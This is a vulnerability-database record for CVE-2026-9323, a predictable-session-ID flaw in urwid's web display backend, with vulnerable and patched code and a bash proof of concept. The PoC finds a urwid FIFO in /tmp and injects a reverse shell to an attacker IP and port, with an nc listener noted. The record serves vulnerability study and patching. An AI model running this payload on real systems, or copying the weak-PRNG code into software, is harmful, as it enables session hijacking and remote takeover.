{"id":2145,"cve":"CVE-2026-9323","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-9323\/","cwe":"CWE-338","cwe_number":338,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/338","cvss_score":9.2,"published":"2026-07-18","owasp":"A02 Cryptographic Failures","odc":"Algorithm","cdc":"Incorrect Algorithm","category":"Cryptographic","subcategory":"Inadequate random number generation","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Predictable web session IDs in urwid allow session hijacking and RCE.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-9323\/","description":"The urwid web display backend (urwid\/display\/web.py) generates web session identifiers (urwid_id) in Screen.start() by concatenating two random.randrange(10**9) calls that use Python's Mersenne Twister PRNG, which is not cryptographically secure. Each call consumes approximately 30 bits of PRNG state, and the Mersenne Twister internal state is approximately 19,937 bits, so an attacker who observes approximately 334 session IDs (for example via the X-Urwid-ID HTTP response header) can fully reconstruct the internal state and predict all past and future session IDs (Path B). The same identifier is also used as the filename of a FIFO created in the world-listable \/tmp directory (for example \/tmp\/urwid375487765176907690.in), so any local user on the host can list \/tmp to enumerate active session tokens directly (Path A). With a valid session ID, an attacker can read the victim's terminal screen via the polling endpoint, inject keystrokes into the victim's session (yielding OS-level code execution with the session owner's privileges if the session runs a shell), and inject exit sequences or flood the FIFO to terminate or crash the session. A prior Bandit S311 warning on this usage was suppressed with # noqa: S311 rather than fixed","solution":"Upgrade urwid to version 2.2.0 or later.","affected_component":"urwid","fixed_by_upgrading":true,"vulnerable_code":"import random\nimport os\n\nclass Screen:\n    def start(self):\n        \"\"\"\n        start the display driver\n        \"\"\"\n        self.urwid_id = \"%d%d\" % (\n            random.randrange(10**9), # noqa: S311\n            random.randrange(10**9), # noqa: S311\n        )\n\n        self.in_fifo_path = \"\/tmp\/urwid%s.in\" % self.urwid_id\n        # The original code would proceed to create the FIFO file using os.mkfifo()\n        # with this predictable filename in a world-listable directory.","patched_code":"import secrets\n\nclass Screen:\n    def start(self):\n        \"\"\"\n        Represents the start-up of a web display session where the\n        vulnerability was fixed.\n        \"\"\"\n        # The original vulnerable code used two random.randrange() calls.\n        # The fix is to use a cryptographically secure generator from the\n        # 'secrets' module to create the session identifier.\n        self.urwid_id = secrets.token_hex(16)","payload_needed":true,"payload":"```bash\n#!\/bin\/bash\n#\n# PoC for CVE-2026-9323 Path A (Local File-Based Keystroke Injection)\n# This script finds a predictable urwid FIFO file in \/tmp and injects\n# a reverse shell command into the corresponding user's terminal session.\n#\n# Attacker must have a listener running: nc -lvnp 4444\n\nATTACKER_IP=\"10.0.0.2\"\nATTACKER_PORT=\"4444\"\n\n# Find the first available urwid session FIFO in \/tmp\nTARGET_FIFO=$(find \/tmp -name \"urwid*.in\" -print -quit)\n\nif [ -z \"$TARGET_FIFO\" ]; then\n    # No target found, exit silently\n    exit 1\nfi\n\n# The command to be executed in the victim's shell.\n# A newline character (\\n) is appended to simulate pressing 'Enter'.\nPAYLOAD=\"bash -c 'bash -i >& \/dev\/tcp\/$ATTACKER_IP\/$ATTACKER_PORT 0>&1'\\n\"\n\n# Inject the payload into the FIFO, which sends the keystrokes to the victim's terminal\necho -e \"$PAYLOAD\" > \"$TARGET_FIFO\"\n```","payload_status":"available","published_fix":[{"repository":"urwid\/urwid","commit_url":"https:\/\/github.com\/urwid\/urwid\/commit\/24acd12f0d0598036d0d577f2ee63e4a27b4a3d9","commit_subject":"Web display: tighten security by using more complex identifiers (#1137)","units":[{"file":"urwid\/display\/web.py","function":null},{"file":"urwid\/display\/web.py","function":"Screen.start"}]}],"references":null}